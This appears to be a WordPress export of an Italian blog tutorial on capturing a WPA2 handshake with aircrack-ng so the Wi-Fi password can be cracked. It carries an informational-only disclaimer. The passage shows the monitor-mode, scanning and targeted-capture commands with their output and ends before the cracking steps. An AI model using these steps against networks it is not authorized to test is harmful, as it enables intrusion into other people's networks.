{"id":37406,"date":"2019-10-31T22:17:27","date_gmt":"2019-10-31T19:17:27","guid":{"rendered":"https:\/\/prohoster.info\/blog\/podbor-parolya-wi-fi-utilitoj-aircrack-ng\/"},"modified":"2019-10-31T22:17:27","modified_gmt":"2019-10-31T19:17:27","slug":"podbor-parolya-wi-fi-utilitoj-aircrack-ng","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/podbor-parolya-wi-fi-utilitoj-aircrack-ng","title":{"rendered":"Selezione della password Wi-Fi con lo strumento aircrack-ng","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Questo articolo \u00e8 scritto esclusivamente a scopo informativo e di ricerca. Vi invitiamo a rispettare le normative sul lavoro in rete e la legge, e a tenere sempre a mente la sicurezza dell'informazione.<\/i><\/p><\/blockquote>\n

Introduzione<\/h3>\n

\nAll'inizio degli anni '90, quando il Wi-Fi \u00e8 appena comparso, \u00e8 stato creato l'algoritmo Wired Equivalent Privacy, destinato a garantire la riservatezza delle reti Wi-Fi. Tuttavia, WEP si \u00e8 rivelato un algoritmo di protezione inefficace, facilmente vulnerabile.<\/p>\n

A sostituirlo \u00e8 giunto un nuovo algoritmo di protezione, il Wi-Fi Protected Access II, oggi utilizzato dalla maggior parte degli access point Wi-Fi. WPA2 utilizza l'algoritmo di crittografia AES, che \u00e8 estremamente difficile da violare.
\n<\/a><\/noindex><\/p>\n

E dove si trova la vulnerabilit\u00e0?<\/h3>\n

\nIl problema di WPA2 \u00e8 che la password crittografata viene trasmessa durante la connessione degli utenti durante il cosiddetto 4-way handshake (il handshake a 4 vie). Se riusciamo a catturare il handshake, scopriremo la password crittografata e ci rimarr\u00e0 solo da decifrarla. Per questo scopo utilizzeremo aircrack-ng.<\/p>\n

Come si fa a violare?<\/h3>\n

<\/p>\n

Passo 1. Determiniamo l'interfaccia<\/h4>\n

\nPer prima cosa dobbiamo scoprire quale interfaccia di rete ci serve, per fare ci\u00f2 inseriamo il comando:<\/p>\n

$ ifconfig<\/code><\/pre>\n
\nRiceviamo la risposta:<\/p>\n
eth0      no wireless extensions.\n\nwlan0     IEEE 802.11abgn  ESSID:off\/any\nMode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm\nRetry short limit:7   RTS thr:off   Fragment thr:off\nEncryption key:off\nPower Management:off\n\nlo        no wireless extensions<\/code><\/pre>\n
\nNel mio caso ci sono solo tre interfacce, due delle quali non hanno estensioni wireless (no wireless extensions). Quindi l'unica che ci interessa \u00e8 wlan0.<\/p>\n
Passo 2. Mettiamo l'adattatore di rete in modalit\u00e0 monitoraggio<\/h4>\n
\nMettere l'adattatore di rete in modalit\u00e0 monitoraggio ci permetter\u00e0 di vedere il traffico wireless che passa vicino a noi. Per procedere, inseriamo il comando:<\/p>\n
$ airmon-ng start wlan0<\/code><\/pre>\n
\nSi noti che airmon-ng ha rinominato la vostra interfaccia (nel mio caso \u00e8 diventata mon0, ma vale la pena verificare).<\/p>\n
Passo 3. Catturiamo il traffico<\/h4>\n
\nOra che il nostro adattatore di rete \u00e8 in modalit\u00e0 monitoraggio, possiamo catturare il traffico che passa accanto a noi, usando il comando airodump-ng. Digitiamo:<\/p>\n
$ airodump-ng mon0<\/code><\/pre>\n
\n\"Selezione
\n
\nSi noti che tutti i punti di accesso visibili sono elencati nella parte superiore dello schermo, mentre i clienti sono visualizzati nella parte inferiore dello schermo.<\/p>\n
Passo 4. Concentrarci sulla cattura di un punto di accesso specifico.<\/h4>\n
\nIl nostro prossimo passo \u00e8 concentrarci su uno dei punti di accesso e sul suo canale. Siamo interessati al BSSID e al numero di canale del punto di accesso che intendiamo compromettere. Apriamo un altro terminale e digitiamo:<\/p>\n
$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0<\/code><\/pre>\n
\n\"Selezione
\n<\/p>\n